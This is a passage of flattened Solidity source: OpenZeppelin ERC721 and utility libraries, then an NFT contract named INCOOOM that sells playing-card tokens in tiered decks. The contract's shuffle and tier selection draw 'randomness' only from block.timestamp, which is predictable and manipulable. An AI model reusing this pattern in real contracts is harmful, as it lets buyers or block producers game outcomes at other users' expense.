function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/INCOOOM.sol
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.0;
interface IHelper {
function cardValue(uint _number) external pure returns(string memory _suit, string memory _value, bool _joker);
}
contract INCOOOM is ERC721, Ownable {
using Strings for uint256;
/* ======== EVENTS ======== */
event DealPreFlop(address _recipient, uint _amount);
event Deal(address _recipient, uint _amount);
/* ======== STRUCTS ======== */
struct CardInfo {
string suit;
string value;
bool joker;
uint deck;
uint cardNumber;
TIER tier;
}
struct Deck {
TIER tier;
uint tiersRemaining;
}
struct PreSale {
uint _blockStart;
uint _blockEnd;
}
/* ======== ENUM ======== */
enum TIER {COMMON, GOLD, PSYCHEDELIC}
/* ======== STATE VARIABLES ======== */
uint256[54] private numberArr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39,
40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53];
PreSale public preSale;
address payable public treasury;
address payable public fund;
address public helper;
string private _baseUri = "ipfs://QmaGRDin2YYRj3zbPE23p6YPeTpMn7YcFqtVDD6aY8Zoo3/";
uint private constant numberOfDecks = 54;
uint public cardsLeftInDeck;
uint public currentDeck;
uint public totalSupply;
uint private immutable preSaleLength;
uint256 private constant PRICE_PER_CARD = 99000000000000000 wei;
uint256 private constant PRICE_PER_CARD_PRESALE = 33000000000000000 wei;
bool public preSaleActive;
bool public saleActive;
/* ======== MAPPINGS ======== */
mapping(address => mapping(uint => uint)) public cardsPerDeckPurchased;
mapping(uint => CardInfo) private cardInfo;
mapping(TIER => uint) private tiersRemaining;
mapping(TIER => uint) private preSaleTiersRemaining;
mapping(uint => TIER) private tierOfDeck;
mapping(uint => Deck) private deckInfo;
mapping(uint => bool) public deckFullyDelt;
/* ======== CONSTRUCTOR ======== */
constructor(address payable _treasury, address payable _fund, address _helper, uint _preSaleLength) ERC721("INCOOOM", "OOO") {
require(_treasury != address(0));
treasury = _treasury;
require(_fund != address(0));
fund = _fund;
require(_helper != address(0));
helper = _helper;
preSaleLength = _preSaleLength;
tiersRemaining[TIER.COMMON] = 36;
tiersRemaining[TIER.GOLD] = 12;
tiersRemaining[TIER.PSYCHEDELIC] = 6;
}
/* ======== ADMIN FUNCTIONS ======== */
/**
@notice start presale
*/
function startPreSale() external onlyOwner() {
require(preSale._blockStart == 0, "Presale already started");
preSaleActive = true;
preSale = PreSale ({
_blockStart: block.number,
_blockEnd: block.number + preSaleLength
});
preSaleTiersRemaining[TIER.COMMON] = 3;
preSaleTiersRemaining[TIER.GOLD] = 2;
preSaleTiersRemaining[TIER.PSYCHEDELIC] = 1;
_newDeck(_randomTier());
}
/**
@notice start main sale
*/
function startSale() external onlyOwner() {
require(preSale._blockStart != 0 && !saleActive && preSale._blockEnd < block.number, "Cannot start presale twice or start while presale is going on");
preSaleActive = false;
saleActive = true;
}
/**
@notice allows admin to reserve decks
@param _recipient address
@param _amount uint
@param _tier TIER
*/
function reserveDeck(address _recipient, uint _amount, TIER _tier) external onlyOwner() {
require(preSale._blockStart == 0, "Presale has been started");
for(uint i; i < _amount; i++) {
_newDeck(_tier);
for(uint n; n < numberArr.length; n++){
_mintCard(_recipient, numberArr[n]);
}
}
deckFullyDelt[currentDeck] = true;
}
/**
@notice allows admin to set base URI
@param _uri string
*/
function setBaseURI(string calldata _uri) external onlyOwner() {
_baseUri = _uri;
}
/**
@notice withdraw ETH in contract to fund and treasury
*/
function withdraw() external onlyOwner() {
require(address(this).balance > 0, "Balance is 0");
uint _fundSend = address(this).balance / 2;
uint _treasurySend = address(this).balance - _fundSend;
(bool successFund,) = fund.call{value:_fundSend}("");
require(successFund, "could not send to fund");
(bool successTreasury,) = treasury.call{value:_treasurySend}("");
require(successTreasury, "could not send to treasury");
}
/* ======== USER FUNCTIONS ======== */
/**
@notice allows users to participate in presale
@param _amount uint
*/
function dealPreFlop(uint _amount) external payable {
require(preSale._blockEnd > block.number && preSaleActive, "Presale not active");
require(cardsPerDeckPurchased[msg.sender][currentDeck] + _amount <= 5, "Over 5 cards in a single deck");
require( msg.value == PRICE_PER_CARD_PRESALE * _amount, "Wrong amount");
if(cardsLeftInDeck >= _amount) {
_deal(_amount);
} else {
uint _nextDeck = _amount - cardsLeftInDeck;
_deal(cardsLeftInDeck);
_deal(_nextDeck);
}
if(currentDeck == 13) {
preSaleActive = false;
require(cardsLeftInDeck == 54, "Cannot mint over 6 decks in presale");
}
emit DealPreFlop(msg.sender, _amount);
}
/**
@notice allows users to participate in sale
@param _amount uint
*/
function deal(uint _amount) external payable {
require(saleActive);
require(cardsPerDeckPurchased[msg.sender][currentDeck] + _amount <= 5, "Over 5 cards in a single deck");
require( msg.value == PRICE_PER_CARD * _amount, "Wrong amount");
if(cardsLeftInDeck >= _amount) {
_deal(_amount);
} else {
uint _nextDeck = _amount - cardsLeftInDeck;
_deal(cardsLeftInDeck);
_deal(_nextDeck);
}
emit Deal(msg.sender, _amount);
}
/* ======== INTERNAL HELPER FUNCTIONS ======== */
/**
@notice internal deal function
@param _amount uint
*/
function _deal(uint _amount) internal {
cardsPerDeckPurchased[msg.sender][currentDeck] += _amount;
for(uint i; i < _amount; i++) {
uint _id = numberArr[numberArr.length - cardsLeftInDeck];
_mintCard(msg.sender, _id);
cardsLeftInDeck -= 1;
}
if(cardsLeftInDeck == 0) {
_newDeck(_randomTier());
}
}
/**
@notice gets random tier for new deck
*/
function _randomTier() internal view returns(TIER) {
uint256 n = uint256(keccak256(abi.encodePacked(block.timestamp))) % 9;
TIER _tier;
if(preSale._blockEnd > block.number && preSaleActive && currentDeck < 12) {
if(n <= 5 && preSaleTiersRemaining[TIER.COMMON] > 0) {
_tier = TIER.COMMON;
} else if(n <= 7 && preSaleTiersRemaining[TIER.GOLD] > 0) {
_tier = TIER.GOLD;
} else if( n == 8 && preSaleTiersRemaining[TIER.PSYCHEDELIC] > 0 ) {
_tier = TIER.PSYCHEDELIC;
} else {
if(preSaleTiersRemaining[TIER.GOLD] > 0 ) {
_tier = TIER.GOLD;
} else if(preSaleTiersRemaining[TIER.COMMON] > 0) {
_tier = TIER.COMMON;
} else {
_tier = TIER.PSYCHEDELIC;
}
}
} else {
if(n <= 5 && tiersRemaining[TIER.COMMON] > 0) {
_tier = TIER.COMMON;
} else if(n <= 7 && tiersRemaining[TIER.GOLD] > 0) {
_tier = TIER.GOLD;
} else if( n == 8 && tiersRemaining[TIER.PSYCHEDELIC] > 0 ) {
_tier = TIER.PSYCHEDELIC;
} else {
if(tiersRemaining[TIER.GOLD] > 0 ) {
_tier = TIER.GOLD;
} else if(tiersRemaining[TIER.COMMON] > 0) {
_tier = TIER.COMMON;
} else {
_tier = TIER.PSYCHEDELIC;
}
}
}
return _tier;
}
/**
@notice sets new deck
@param _tier TIER
*/
function _newDeck(TIER _tier) internal {
require(!deckFullyDelt[54], "All decks delt");
deckFullyDelt[currentDeck] = true;
if(preSale._blockEnd > block.number && preSaleActive && currentDeck < 12) {
preSaleTiersRemaining[_tier] -= 1;
}
if(currentDeck < numberOfDecks) {
deckInfo[currentDeck + 1] = Deck({
tier: _tier,
tiersRemaining: tiersRemaining[_tier]
});
tiersRemaining[_tier] -= 1;
currentDeck += 1;
cardsLeftInDeck = 54;
tierOfDeck[currentDeck] = _tier;
_shuffle();
}
}
/**
@notice shuffles deck upon new deck being delt
*/
function _shuffle() internal {
for (uint256 i = 0; i < numberArr.length; i++) {
uint256 n = i + uint256(keccak256(abi.encodePacked(block.timestamp))) % (numberArr.length - i);
uint256 temp = numberArr[n];
numberArr[n] = numberArr[i];
numberArr[i] = temp;
}
}
/**
@notice mints card
@param _recipient address
@param _cardInDeck uint
@return uint
*/
function _mintCard(address _recipient, uint _cardInDeck) internal returns (uint) {
uint id = totalSupply;
totalSupply += 1;
_safeMint(_recipient, id);
(string memory _suit, string memory _value, bool _joker) = IHelper(helper).cardValue(_cardInDeck);
cardInfo[id] = CardInfo({
suit: _suit,
value: _value,
joker: _joker,
deck: currentDeck,
cardNumber: _cardInDeck,
tier: tierOfDeck[currentDeck]
});
return(id);
}
/* ======== VIEW FUNCTIONS ======== */
/**
@notice gets info of a card
@param _id uint
@return _cardInfo CardInfo
*/
function getCardInfo(uint _id) external view returns(CardInfo memory _cardInfo) {
uint _deck = cardInfo[_id].deck;
if(deckFullyDelt[_deck]) {
_cardInfo = cardInfo[_id];
}
}
/**
@notice gets URI of a specific token ID
@param tokenId uint
@return string
*/
function tokenURI(uint256 tokenId) override public view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
CardInfo memory _cardInfo = cardInfo[tokenId];
uint _uri;
uint _tierNumber = deckInfo[_cardInfo.deck].tiersRemaining;
uint _num = _cardInfo.cardNumber + 1;
if(!deckFullyDelt[_cardInfo.deck]) {
_uri = 0;
} else {
if(_cardInfo.tier == TIER.COMMON) {
_uri = _num + (54 * (36 - _tierNumber));
} else if (_cardInfo.tier == TIER.GOLD) {
_uri = _num + (54 * (12 - _tierNumber + 36));
} else {
_uri = _num + (54 * (6 - _tierNumber + 48));
}
}
return string(abi.encodePacked(baseURI(), uint256(_uri).toString()));
}
/**
@notice gets base URI
